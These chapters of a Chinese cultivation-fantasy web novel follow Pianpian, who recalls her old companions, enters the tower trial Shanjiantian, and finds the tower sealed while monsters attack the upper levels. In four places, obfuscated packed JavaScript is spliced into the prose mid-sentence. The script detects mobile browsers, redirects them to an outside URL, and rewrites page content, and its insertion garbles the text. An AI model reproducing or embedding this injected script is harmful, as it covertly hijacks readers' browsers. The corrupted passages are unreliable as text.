如同惊雷炸响在耳畔,又似迷雾被一道强光劈开。 原来……是这样吗? 远处,陈澜哭丧着脸,几乎要拽住她的衣袖:“翩翩姐,你看他们。” 他的声音带着点委屈的颤音。 “翩翩姐,你看看他们呀。” 小九的声音软,像受惊的小动物,整个纤细的身子都躲在了翩翩身后。 她只探出半个脑袋,偷偷瞧着大殿中央那两位煞气冲天的兄长。 琳琅大殿内,灵光隐隐流窜,气氛却紧绷如弦。 老二扛着他那尊须臾不离身的碧玉酒瓮,瓮身符文闪烁,沉重的瓮底将脚下的砖块都压出了细微的裂纹。 老三则举着他那把老婆伞,伞面尚未完全张开,已有细碎的花瓣在散落在地面。 他脸色铁青,最碍眼的,是额头上那个用老八的法器墨笔留下的杰作—— 一只活灵活现、张牙舞爪的老乌龟。 墨迹犹新。 随着他压抑怒气的呼吸,那乌龟仿佛也在蠕动。 “我真的不是故意偷喝二哥的酒的,也没有怂恿八哥在三哥脸上……画画……”小九躲在后面,声音越说越小,底气全无。 “好啦好啦,”翩翩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495801|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸手,将小九往自己身后又护了护,语气里是毫不掩饰的偏袒纵容,“小九年纪小,不懂事,你们做哥哥的,让着点妹妹嘛。” 得了依仗,小九立刻胆子壮了,从翩翩肩后探出头,冲着那两位面沉如水的兄长做了个大大的鬼脸,吐了吐舌头。 “好哇!” 老二气极反笑,周身妖力澎湃,碧玉酒瓮翁鸣作响,“我今天要不收拾你,我就对不住我排行第二的名头!” 话音未落,酒瓮倾斜,一道凝练如实质、散发着浓烈酒香的琥珀色流光便朝着小九藏身之处激射而来,速度快得只留下残影。 就在这时,一直静立旁观的司杏动了。 她身形一晃,便已挡在翩翩与小九身前,素手轻扬,一本古朴无华的书本自她袖中飞出,见风即长,瞬间化作一面书墙。 “嗡——!” 琥珀流光撞上书墙,发出沉闷的巨响,逸散的能量冲击波荡开,吹得殿中轻纱乱舞,灯火摇曳。 这一下如同点燃了引线。 老三的老婆伞“唰”地张开,无数樱花瓣裹挟着风雷之力,如暴雨般倾泻。 老七见势不妙,早已祭出自己的判官笔,凌空书画,道道墨痕化为坚韧的锁链试图缠绕。 就连看似醉醺醺的老二,也指挥着酒瓮喷吐出更多诡谲的酒液攻击…… 殿内灵气乱窜,各色法器的光芒晃得人眼花,打得那叫一个花里胡哨,声势惊人。 可谁都清楚,没人会真的下死手。 等到大家都打累了,横七竖八地瘫在柔软厚实的地毯上喘气。 年纪最小的小九,脸蛋红扑扑的,汗湿的鬓发贴在额角。 她趴在那里,仰着小脸,眼睛亮晶晶地望着翩翩,问出了那个她记了很久很久的问题: “翩翩姐,我们……” “会一直一直在一起吗?” “翩翩姐姐?翩翩姐姐!” 陈澜的手在她眼前用力晃了晃,带着少年人特有的清亮嗓音,将她从那片喧嚣又温暖的回忆里猛地拽了出来。 “平时都最专注不过的,怎么今天突然走神了。” 陈澜不解地嘟囔,随即又欢快起来,不由分说地拉住她的手,“快走快走!玉容长老说,他今天要拿自己私藏的那坛雪里春来招待我们,去晚了,肯定被那个可恶的柯芊芊抢光啦!” 提起柯芊芊,陈澜还是气得鼓起了腮帮子。 翩翩被他拉着向前走,步履有些微的迟滞,目光却越过陈澜的肩膀,看到了不远处梅树下摆开酒案的玉容长老。 玉容似乎感应到她的视线,抬起眼,隔着疏落的花影,微笑着向她举了举手中的白玉酒杯示意。 画面仿佛与某个遥远的瞬间重叠。 “对了,雪里春已经都偷出来了,不如我们就趁现在喝了吧?”司杏的声音带着她一贯对佳酒的渴望,笑眯眯地提议,手里不知何时已抱着一坛泥封完好的酒。 “等等,”老二按住司杏欲拍开泥封的手,他转眸看向翩翩,“那喝酒前,我们是不是要,说点什么?” “翩翩,”司杏也看了过来,晃了晃酒坛,“说点什么吧。” “翩翩说点什么吧。”药庐里,聆音再次轻声催促,目光柔和地落在她脸上。 翩翩看着聆音清丽的面容,过去与现在的界限在这一刻变得模糊不清。 那些纷至沓来的声音,那些沉淀在岁月深处想说未说的话,在这一刻汇聚于喉间。 琳琅城城主笑着说:“那祝我们——” 翩翩笑着,高高举起了酒杯,声音清越,带着某种笃定的祝愿,穿透了时光: “那祝我们——” “年年有今日,岁岁有今朝!” 声音落下,林间寂静一瞬,随即被少年少女们的欢呼和应和声打破。 “年年有今日,岁岁有今朝!”陈澜喊得最大声。 “哼,算你会说话。”柯芊芊撇撇嘴,却也举起了杯子。 聆音小口抿着,脸上泛起红晕。 玉容看着她,眸光深邃,里面似乎掠过一丝极淡的、难以捕捉的情绪,他什么也没说,只是将杯中酒,一饮而尽。 翩翩也仰头饮下。灵酒甘冽,带着一丝独特的冷香,顺着喉咙滑下,却点燃了心口一片滚烫。 她看着眼前喧闹的景象,看着那个饮尽杯中酒后,指尖无意识摩挲着杯沿的玉容。 笨蛋。 她在心里又骂了一句,却忍不住,再次笑了起来。 愿这杯酒,敬故人,亦敬新知。 愿此间长存,岁岁皆如今朝。 29. 第二十九章 善见天。 名谓“窥善辨恶,方能现天地,知万物”。 名头听着玄乎,其本体却并非什么洞天福地。 而是一座巍峨耸立、直插云霄的九九八十一层宝塔。 相传是掌门偶得机缘收获的宝贝,专门用来历练道心,提升修为。而如今掌门早已到达大乘,距离飞升也只有半步之遥。 于是索性把这善见天作为考核弟子的工具。 也算是他为宗门,为弟子做了番贡献。 到时候飞升上去,这也是实打实的功德。 说起这善见天宝塔。 其塔身斑驳,刻满古老符文,每一层皆是一重独立天地,内蕴无穷试炼,据闻越高层,考验愈是诡谲艰难,直指道心。 此番考核主要面向外门弟子。 故而宗门只开启了这座试炼之塔的前二十层。 试炼当日,天光初破云霭,玉宸宫主殿前的广场上,早已是人头攒动。 所有参与此次考核的外门弟子,皆身着统一的青色弟子服,按序列队,齐刷刷站成数个方阵,远远望去,如同一片青色的竹林,挺拔而朝气。 对于即将到来的善见天,他们同时抱有期待,忐忑,以及—— 无止的野心与欲望。 掌门玄胤真人凌空而立,玄色道袍在晨风中微微拂动,看上去颇为仙风道骨。 他扬了扬手,一只神骏非凡、羽翼流淌着金色光焰的金乌,栖息于他的肩头,宛若神鸟临世,目光俯视着下方众生。 掌门并未刻意扬声,而他平和沉稳的声音,却如同蕴含着某种道韵,清晰地回荡在广阔的大殿内外,落入每一位弟子的耳中: “尔等,皆是我玉宸宫未来之栋梁,亦是修仙界明日之希望。今日开放善见天,供汝等试炼己身,磨砺道心。” 这是每次试炼考核必备的演讲环节。 掌门在高台上慷慨激昂,而在他身侧,七道身影并肩而立。 气息或沉凝,或锋锐,或灵动,正是掌门座下七位亲传弟子。 应不悔清冷如月,云上月灵动俏皮,谢不舟…… 依旧是一身拒人千里的冰寒,目光淡漠地落在虚空处,仿佛下方数百弟子的雀跃与他毫无干系。 “弟子领命!” 下方青色的方阵齐声应和,声浪震天。 “还不止如此呢,”玄胤真人脸上露出一抹温和却颇具深意的笑容,“此次凡能突破善见天前十五层者,本座将亲授其内门弟子身份。若运气佳,天赋心性得某位长老青眼,破格擢升为亲传弟子……亦不为过。” 此言一出,底下氛围瞬间激荡。 下方弟子群情激昂,眼神灼热,个个摩拳擦掌,跃跃欲试,仿佛内门乃至亲传的光明前途已在眼前。 应不悔立于师尊身侧,看着下方那些年轻面孔上毫不掩饰的向往与斗志,心下却暗暗叹了口气。 作为经历过善见天的老人,她深知这善见天,又岂是易与之地? 内里幻象丛生,杀机暗藏,每一层的考验皆不相同。 或迷心,或戮战,或拷问本性。 稍有不慎,道心受损乃至身陨其中都非不可能。 她深知,即便是内门中那些佼佼者,能突破二十层者亦是凤毛麟角。 十五层。 对于这些外门弟子而言,已是一道极高的门槛,足以筛掉几乎全部。 所幸,她目光扫过高塔以及周围虚空中若隐若现的几道强大气息,掌门、诸位长老以及他们皆会密切关注塔内情形,不会真让这些外门弟子出了性命之虞。 翩翩站在外门弟子队列的最末端,毫不起眼。 她跟着人群,目光却有些飘忽。 她有种一听别人高谈阔论,思想就开始走神的病。 直到不远处的掌门玄胤真人袖袍一展,一道金光飞射而出,她才重新缓过神来。 数息间,一座散发着苍茫古老气息、符文流转的巨塔轰然现身。 塔身万丈,高耸入云,投下的阴影几乎将半个广场笼罩,一股沉重磅礴的威压扑面而来,令人心生敬畏,几欲窒息。 “我去……这……十五层还是算了吧。” 方才还站在她旁边、踌躇满志憧憬着内门风光的一位外门师兄,此刻仰望着那如同神迹般的巨塔,脸色发白,艰难地咽了口唾沫,瞬间泄了气。 翩翩仰头,看着那悬浮半空的善见天,塔基之下,云雾自动汇聚,凝结成一道绵长而坚实的云阶,通往那扇紧闭的、仿佛隔绝了两个世界的古朴塔门。 她随着人流,踏上云阶。 在善见天门口,恰好遇到了正在等候她的陈澜和聆音。 “翩翩姐姐!”陈澜看到她,立刻露出笑容,挥舞着拳头给她打气,“加油!我看好你!” 加油? 实则打定主意只想在第一层安稳摸鱼、绝不出头的翩翩,内心毫无波澜,甚至有点想笑。 加油不了一点。 聆音则更为细心体贴,她走上前,轻轻拍了拍翩翩的肩膀,然后不由分说地将一叠厚厚的、散发着灵光的符箓塞进她怀里,一字一句,认真地叮嘱:“翩翩,进去后万事小心。这是遁身符,危急时刻可瞬移百丈;这是爆破符,注入微末灵力即可引爆;这是清心符,可守灵台清明,抵御幻术侵扰;这是……” 她如数家珍,几乎将能想到的保命之物都准备了一份。 翩翩抱着那一堆沉甸甸的关怀,简直有些无所适从,心中既暖又有些哭笑不得。 最后,聆音握住她的手,神色是前所未有的认真:“虽然这善见天有掌门长老们看护,但塔内瞬息万变,你……定要小心。” “嗯,我知道了,师姐。”翩翩点头应下。 恰在此时,一道刺眼的红衣身影带着一阵香风从她们身边掠过,正是红依。 她停下脚步,斜睨了三人一眼,嘴角勾起一抹讥诮的弧度:“呵,在这儿演什么情深意重?修行之路,本就是资源之争,大道独行。” “今日姐妹情深,来日为了某件法宝、某个机缘,反目成仇、拔剑相向的还少吗?” 说罢,她意味深长地笑了笑,目光在翩翩脸上停留一瞬,不再多言,身形一闪,便率先没入了那洞开的塔门之内。 聆音皱了皱眉,却也没说什么,只对翩翩和陈澜道:“时辰不早了,我们也进去吧。” 翩翩深吸一口气,最后看了一眼那深邃古朴的塔门,转身,一步踏入了那片未知的光晕之中。 就在踏入塔门的瞬间,周遭景象骤然变幻。仿佛穿过了一层无形的水膜,光线、声音、气息尽数不同。 先前拥挤的人潮、喧嚣的人声尽数消失无踪。 眼前是一片生机盎然、却透着诡异寂静的天地。 无数散发着莹莹灵光的奇异绿植肆意生长,奇花异草争奇斗艳,粗壮的藤蔓如同巨蟒般缠绕在参天古木之上,空气中弥漫着浓郁到化不开的草木灵气与一股淡淡的、甜腻的异香。 她脚下,是一块打磨光滑的青色石板,上面以古老的篆体刻着三个大字—— 善见天。 其下还有一行小字:第一层。 原来这就是第一层。 翩翩环顾四周,除了她自己,空无一人。 显然,所有进入者都被随机分散到了这第一层的不同区域。 翩翩是谁? 她拍了拍身上并不存在的灰尘,心态平和。 一个普普通通、毫无灵根的凡人罢了。 对她而言,在这里出风头,或许并非完全做不到。 但因此而被玉宸宫那些目光如炬的长老们,尤其是那位心思难测的掌门盯上,那才是真正的灭顶之灾。 掌门玄胤看似对她网开一面,实则更希望她这个潜在隐患能悄无声息地湮灭于尘埃。 只要不死在他宝贝徒弟谢不舟面前,怎么都行。 所以,最好的策略,就是藏拙,就是低调,就是咸鱼。 思及此,翩翩毫无心理负担地走到那块刻着第一层的石板旁,寻了处干净柔软的草地,直接盘腿坐了下来。 然后,在她那个看起来鼓鼓囊囊、与周围修士轻装上阵格格不入的行囊里,开始翻找。 片刻后,她掏出了自己的宝贝—— 外出旅行、打发漫长时间必备之神器。 几本封面花哨、标题耸动的狗血话本子。 这还是她前些日子,磨了柯芊芊许久才弄来的精神食粮。 她随手翻开一本《霸道师兄强制爱》,立刻津津有味地沉浸了进去,将什么试炼、什么考核统统抛到了九霄云外。 过了一会儿,不远处传来脚步声和交谈声。 几名同样身着青衣的外门弟子,神色警惕地探索至此。 他们看到坐在石板旁、优哉游哉看话本的翩翩,先是一愣,随即纷纷露出恨铁不成钢的神情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只见其中一名弟子,犹豫再三,还是小心翼翼地凑上前几步,带着几分请教的口吻问道:“这……这位大师?您……您知道怎么才能走出这第一层吗?” ? 问我? 翩翩指了指自己,脸上露出些许诧异。 她稍微坐直了些身子,将那本《霸道师兄强制爱》合上,拿在手里。 几名弟子顿时屏息凝神,以为这位深藏不露的大师终于要指点迷津,传授通关秘诀。 却见翩翩拿着那本话本,啧啧摇了摇头,一脸高深莫测地吐出九个字: “世上无难事,只要肯放弃。” 几位弟子:“……” 放弃? 放弃个头啊! 这才第一层! 第一层都过不去,出去后还不被同门笑掉大牙? 几人面面相觑,一脸无语,最终决定不再理会这个怪人,再次踏上寻找出口的循环之路。 ——————— 而此时,善见天外,主殿之上。 云上月凑到掌门玄胤身边,小声问道:“师父,我看……这次的外门弟子名单里,有……翩翩?” 玄胤真人目光淡然,颔首:“是我亲自把她加进去的。” “可……” 云上月犹豫了一下,脸上带着不解与担忧,“翩翩她……可是个没有灵根的凡人啊!她进善见天,这不就是……” 她没敢说出后面那两个字,但意思不言而喻—— 这不就是送死吗? 这时,玄胤真人瞥了她一眼,并未直接回答她的问题,反而将目光转向一旁始终默然伫立、依旧冰山脸的谢不舟。 “不舟,” 掌门的声音听不出喜怒,“你怎么看?你也认为,她不该进这善见天吗?” 谢不舟眼睫微抬,复又垂下,声音是一贯的平淡无波:“求仙问道,本就是逆天而行,九死一生。人各有命,机缘自取。不舟……不做评价。” “好!好!好!” 玄胤真人抚掌,连道三声好,脸上露出满意的笑容,只是那笑容深处,目光却幽深难测,如同两口深不见底的古井,牢牢锁定着善见塔,不知究竟在思量些什么。 他眼前,又有几只乌鸦盘旋而过。 30. 第三十章 善见天,第一层。 一名年轻的外门弟子一屁股坐在了地上,开始思考人生。 “不是吧,”他喃喃自语,声音里带着一种从激昂到麻木、从麻木到自我怀疑的复杂情绪,“兜兜转转了这么久,我们怎么还在鬼打墙啊?” “难不成这善见天真的有鬼?” “鬼?要真是鬼我倒还放心了。”第三个弟子冷笑一声,手里拿着一根树枝在地上毫无意义地划拉着。 “至少鬼还有个实体,能打能杀。这他娘的……这算怎么回事?” “阵法?幻术?” “还是说我们其实从一开始就没走进善见天,而是被传送到了某个专门恶心人的荒郊野岭?” 回想起几个时辰前,掌门在动员大会上那番慷慨激昂、荡气回肠的发言。 什么“试筋骨,炼道心”,什么“玉宸宫的未来在你们肩上”,什么“善见天乃上古传承之重地,凡能通过者,皆为我宗门栋梁”—— 那时候,谁还没幻想过自己拿到龙傲天剧本? 什么天材地宝自动送上门, 什么远古大能残魂争着抢着要收自己为徒, 什么洗精伐髓脱胎换骨一步登天…… 那名年轻弟子甚至在自己踏入第一层一周目的时候,在脑子里完完整整地排练了一遍逆袭归来,打脸主动退婚的前未婚妻的经典剧本。 他甚至想好了到时候要用什么表情说那句“当年你嫌我灵力低微,如今可曾后悔”。 语气要淡然,眼神要带着些许悲悯,转身要潇洒,衣袂要飘然…… 然而,现实永远比想象残酷。 他甚至还没来得及走到前未婚妻出场的戏份,就被这片该死的林子困住了。 “可就算做不了龙傲天,” 他抱着一丝残存的侥幸,小声嘀咕,“折在第一层……也太没面子了吧?” 旁边传来一声冷笑。 “有面子没面子的,你说了不算,我说了也不算。” 那位蹲在地上画圈圈的弟子头也不抬,“关键是,等试炼结束,教习长老问起我们怎么这么早就出来了,咱们要怎么回答?” “贱兮兮地狡辩说‘善见天实在是太简单了,所以我干脆在第一层住下了’?” 几个人想象了一下那个画面,齐刷刷打了个寒颤。 会被揍的吧。 一时间,众人相顾无言。 而就在这时,一声悠然的、带着明显愉悦的轻笑声,不合时宜地传了过来。 几个人转头看去。 此时此刻,本该和他们一起摇头叹气的翩翩正舒舒服服地靠在树干上,手里捧着话本子,看得津津有味。 这架势,若不是四周阴森森的密林实在不像什么好地方,简直就像是在春日游园踏青。 “……”几个弟子面面相觑。 他们怎么记得,刚刚找到这个地方的时候,这位神人就保持着这个姿势? 那时候他们还想着,或许她只是在短暂休息,很快就会跟上来一起寻找出路。 结果呢? 结果他们在这片诡异的林子里来来回回走了不知道多少趟,累得跟狗一样,回来一看—— 好家伙,这女人连姿势都没变过! 她就不会累吗? 她就不怕吗? 她就不着急吗? 而此时的翩翩正一脸沉醉地看着她那《那些年,我与友人的爱恨情仇》。 话本里,主角正一路高歌猛进,眼看就要揭开最终谜底,取得无上传承…… 结果,下一页,主角身边那个从开头就与他并肩作战、为他两肋插刀、堪称全书第一好兄弟的友人,毫无征兆地,在背后捅了主角一刀。 理由竟是友人与主角有着杀父之仇,潜伏多年,就为了等到主角志得意满,放松警惕的这一天。 翩翩沉默了。 沉默了很久。 久到旁边的李师弟都忍不住侧目看了她一眼,以为这位神人总要有所行动了。 结果,翩翩只是面无表情地合上话本,语气突然变得慷慨激昂。“这黑化得也太突然了吧?” “啊?” 李师弟没反应过来。 “前面几十万字兄弟情深,是喂了狗吗?” 翩翩皱眉,仿佛遭受了某种不可言说的精神创伤,“为了强行制造冲突和转折,连基本逻辑都不要了?” “这作者怕不是江郎才尽,开始胡编乱造了。差评。” 李师弟的嘴角抽搐了一下。 他现在真的很想把这位神人同门扔在原地自生自灭。 但现在更重要的是出来…… 等等。 他脑海中突然灵光一闪,猛地转头看向翩翩,眼神变得锐利起来。 “这位同门。” 翩翩抬头,正对上他审视的目光。 “刚刚你就一直坐在这里,一副事不关己的模样。” 李师弟眯起眼睛,“现在仔细想想,这一切不会都是你搞的鬼吧?” 全场安静了一瞬。 所有人的目光,瞬间齐刷刷地聚焦到了翩翩身上。 有怀疑,有打量,有审视,也有几个比较和善的弟子眼中带着的不赞同和担忧。 这个指控很重。 尤其是在善见天这种地方,搞鬼二字几乎等同于试炼作弊、破坏规则、对同门心怀不轨等等严重指控。 若是坐实,轻则逐出师门。 重则废去修为、押入戒堂受审。 翩翩:“……” 人在草中坐,锅从天上来。 她这个背锅体质还真是百试百灵。 前世背了忘川镜的锅,这辈子连进个善见天都能背锅? 是不是她走到哪里,锅就跟到哪里? 她是不是应该申请个三界第一背锅侠的荣誉称号? 她深吸一口气,缓缓站起身,拍了拍衣袍上黏着的灰尘,脸上扯出一个皮笑肉不笑的表情。 “各位同门,”她一字一顿,声音不大,“麻烦你们睁开眼看看。” 她摊开双手,展示自己空荡荡的、没有一丝灵力波动的经脉。 “我连灵根都没有。” “使用不了灵力。” “善见天里的阵法、禁制、幻术,任何一个都需要灵力来触动或破解。” “请问,我一个连灵力都没有的人,要怎么在这第一层搞鬼?” 又是一阵沉默。 李师弟的脸色有些发红,但仍不死心:“说不定你用了什么……邪门的法器?” “邪门的法器也需要灵力来催动。” 翩翩面无表情地回答,“再者,我一个刚从杂役房提上来的外门弟子,连吃饭都要靠师姐接济,哪来的邪门法器?” “你是觉得我是突然从哪儿认了个师傅,会给我这种东西,还是觉得掌门对我格外恩宠,私下赏了我什么宝贝?” 这话说得有理有据,让人无从反驳。 李师弟张了张嘴,最终不说话了。 他身后的几个弟子也露出了些许尴尬的表情。 翩翩见气氛缓和,继续道:“我唯一的天赋,就是对自己有自知之明。” 她转眼望了望周围那些的树木和密集的藤蔓,语气带着一种我很识相、我很识趣、我绝对不惹事的乖巧。 “这善见天凶险异常,我深知自己不是这块料。” “所以呢,我就等着看完师姐给我的话本,等着试炼结束,出去后和小师兄一起去吃烤鸡。” “你们继续,不用管我,我真的不会给你们添麻烦。” 话说到这份上,可以说是相当诚恳了。 然而—— 李师弟和另外几个弟子对视一眼,似乎交换了什么默契。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495803|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >最终,李师弟干咳一声,开口道:“师妹,话虽如此,但我们现在被困在这里,多一个人多一份力。你也别光坐着了,跟我们一起找找路吧。” 说白了,要么是看她一人闲着不爽。 要么就是还不放弃对她的怀疑。 翩翩:“……” 但她的身份摆在那里。 一个刚刚晋升、没有背景、没有实力、甚至连灵根都没有的外门弟子,在这种人微言轻的情况下,公然违逆大多数人的决定,只会引来更多不必要的注意和怀疑。 她不想惹事。 于是,她默默收起话本,拍掉身上的草屑,慢吞吞地跟上了大部队。 ———— 善见天第一层的环境,可以简单概括为:重复且单调。 一眼望去,全是层层叠叠、无边无际的茂密树林。 树木的种类不算多,但每一棵都长得差不多—— 笔直的树干,稍带扭曲的枝桠,几乎全部覆满青苔的树皮,以及永远在头顶交错遮掩、投下斑驳光影的树冠。 人在这种环境里走久了,很容易产生一种错觉—— 仿佛自己不是在向前移动,而是在原地踏步。 你觉得自己走了很远,但其实还在原地。 你觉得自己找到了新路,但那其实是早已走过的旧路。 你觉得自己一定能走出去,但时间一分一秒过去—— 你却还在原地打转。 “我们现在该怎么办?”队伍里有人小声问。 “继续走呗,总不能停下来等死。”另一个人回答,语气已经没什么信心了。 李师弟走在最前面,手里拿着一把从宗门领来的下品灵剑,一边拨开挡路的藤蔓,一边留意四周有没有异常气息。 走了大概半柱香的时间,队伍里那位二十岁左右、面容清秀的女弟子突然停下了脚步。 “怎么了?”李师弟回头。 那女弟子蹲下身,盯着路边一棵树的树干,眉头紧皱,“这棵树……我做过标记。” 所有人凑过去看。 只见那棵树干上,赫然刻着一个不算太深、但足够清晰的丁字——正是这个女弟子姓氏的缩写。 “我记得,”女弟子的声音有些发紧,“这个标记是我们最开始进林子的时候做的。那时候我们还没走散,我还跟大家说‘做个标记,免得绕圈子’。” “结果呢?”李师弟问。 “结果我们后来路过这个标记至少五次了。” 女弟子抬起头,脸色有些发白,“我以为只是相似的地方,但我刚才仔细看了,这棵树向左分叉的枝桠上有一个妖兽窝,窝里有三个妖兽蛋……和第一次看到的一模一样。” 一片沉默。 翩翩若有所思地看着那个标记。 照理说,即使在善见天这种级别的试炼中,第一层也不应该出现这种根本无法破解的死局。 善见天的设计初衷是试炼,而不是困杀。 它考验的是弟子的实力、心性、应变能力,而不是单纯地耗时间、磨耐心。 一个有意义的试炼,必然会有突破口—— 哪怕那个突破口极其隐蔽、极其难找,但它一定存在。 否则,这就不是试炼,而是纯纯折磨人。 可这片林子什么都没有。 没有灵力波动,没有阵眼痕迹,没有明显的规律可循。就好像…… 这片林子天生就该是这样的,天生就该把人困住。 “刻意。” 她突然低声说出这两个字,声音轻得几乎只有自己能听见。 是的,刻意。 如果说这善见天是掌门的宝贝,那这第一层一定一定也是那位掌门的恶趣味。 翩翩身上开始起鸡皮疙瘩。 所以,那位掌门大费周章地、把他们困在这里,究竟是为了什么? 31. 第三十一章 人在一个地方关久了就会发疯。 而一旦发了疯,人族这个物种,便什么事都做得出来。 当看到几个同门已经蹲坐在地上,双手合十、仰面朝天,用一种近乎虔诚的表情,开始对着高不见顶的塔顶念念有词时—— 翩翩认真怀疑起了玉宸宫的招生标准。 “求天道大人显显灵,让我等成功通过这第一层吧!” “弟子愿终身供奉,日日上香,夜夜祈祷!” 那位弟子说得声泪俱下,情真意切,仿佛只要天道真的显灵了、帮他们把第一层强行突破—— 他就能当场剃度出家、青灯古佛了此余生。 翩翩:“……” 不是,你们修仙的,求天道? 你们修的不是道吗? 道法自然、人定胜天,这不是仙门的基础理念吗? 怎么修着修着就修回去了? 还回到了那个天灵灵地灵灵的原始崇拜阶段? 真要能显灵,只怕猪都会上树—— 不,只怕猪都能飞升。 谁料—— 就在下一息。 轰地一声巨响,如同滚滚天雷炸响在耳畔。 震得翩翩手中的话本差点飞出去。 所有人都被这突如其来的动静吓了一跳。 翩翩抬头向上看。 只见善见天第一层的顶部,不知从什么时候,被什么东西硬生生轰开了一条巨大的口子。 那口子边缘参差不齐,带着被蛮力撕裂的痕迹,仿佛有什么恐怖的存在从外面撕开了这座塔的外壳,露出了里面的塔壁本体。 还不止如此。 从那道裂口望上去,能看到更高层的地面同样被贯穿了。 翩翩眯起眼,仔细观察那些被撕裂的塔层边缘。 我去。 她眼睛随即亮了起来。 这次的善见天试炼里,还有这等人才! 这力度,这手段,这气魄—— 要是能把这等猛人拐进她的琳琅城…… 不对,现在没有琳琅城了。 那就拐进…… 额,暂时还没想好拐进哪里。 但总而言之,言而总之,先认识了再说! 前世身为琳琅城城主,并成功用自己那三寸不烂之舌以及独特的个人魅力招募了麾下十大妖星的翩翩—— 见到此情此景。 那颗沉寂已久的求贤若渴的心,再次蠢蠢欲动起来。 翩翩打着自己的如意算盘。 然而,当她转头看向那些同门时,却发现他们完完全全呆在了原地。 “不、不会吧……” 李师弟的声音都在发颤,“祈求天道这玩意……居然真的管用?” 作为崇尚科学修仙、唯有一心向道才能飞升成仙的朴素唯物主义修仙者,此情此景下,他脸上的表情复杂得难以形容。 这是一种世界观正在遭受强烈冲击、连带着道心都开始地动山摇的迷惘与震惊。 而刚刚还蹲坐在地上求天道的同门,此刻真的以为自己的真诚打动了天道,立马泪眼汪汪、感激涕零,对着天空那道裂口就是一通顶礼膜拜: “天道显灵了!” “天道大人真的显灵了!” “弟子就知道,天道不负有心人,精诚所至金石为开!” “弟子愿终身侍奉天道,赴汤蹈火,在所不辞!” 那言辞之真切,感情之充沛,声调之激昂,就算天道本道此刻正站在云端之上,听到这番话,也得感动得热泪盈眶。 恨不得当场给他发个最佳信徒奖。 所有人都沉浸在第一层被暴力破开的震惊之中。 然而, 这种震惊带来的短暂兴奋,并未持续多久。 一种异样的感觉,在悄然蔓延。 起初是极其细微的,仿佛来自善见天顶部的声响。 紧接着,连翩翩脚下坚实的地面都开始传来震动。 震动…… 不对劲。 不像是弟子在上层争斗,也不像有同门触发了机关,更不像什么劳子的试炼内容。 倒像是…… 塔本身在震动? 翩翩蹙起眉,心生警惕。 就在这时,别在她腰间,用于同门之间短距离通讯的传音符,突然断断续续地亮起微光。 而里面传来了夹杂着大量杂音和惊恐哭喊的求救声: “救……救命!啊——!” “师兄!撑住!快捏碎紧急传音符!” “没用的!符……符碎了也没反应!联系不上外面!” “这是什么怪物?!十二层怎么会有这种东西?!” “啊——!” 声音嘈杂,显然来自多人,而且距离她非常遥远,判断至少是十层往上。 求救? 十二层? 怪物? 紧急传音符没反应? 翩翩的脸色沉了下来。 照理说,善见天内一旦出现超出弟子应对能力的危险,捏碎紧急传音符,外面的掌门和长老们立刻就能感知并介入。 可听这意思,传讯失败了? 而且求救声还能通过普通传音符在善见天里传递,说明塔内通讯没完全中断,只是…… 通讯被限制在了善见天内部? 到后来,传音符里的求救声和混乱的妖兽嘶吼声越来越大,越来越清晰。 翩翩甚至能听到打斗和妖兽走动时沉重的脚步声。 情况不对。 非常不对。 如果只是局部意外,长老们早该发现了。 现在这动静,像是出了大乱子,而外面毫无反应。 想到这里,翩翩不再犹豫。 她立刻从怀中取出了那枚入门时派发的、据说能直通玉宸宫大殿的紧急传音符。 将其捏碎。 符纸应声化为一道凝实的金色流光,按理说应该瞬息穿透空间阻隔。 但这道流光仅仅飞出去不到一丈远,就如同撞上了一堵无形无质、却又坚不可摧的墙壁,光芒在剧烈闪烁、扭曲。 最终“噗”地一声轻响。 紧急传音符如同被掐灭的烛火,彻底消失在空气中。 糟糕。 通讯果然被完全隔绝了。 外界和善见天内部断了联系! 这么大的宗门考核,长老们居然没准备个留影石之类的玩意儿实时监控? 顺带还能挑个心仪弟子重点观察? 这次善见天的安全安排是哪个长老负责的? 也太草台班子了吧。 不过吐槽归吐槽,现实摆在眼前。 塔内出了未知且严重的变故,有强大到不该出现的怪物,通讯断绝,外界无人知晓。 而陈澜、聆音他们,极有可能就在出事的上层。 她抬起头,望向周围那些同门。 他们也注意到了翩翩刚才的动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495804|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 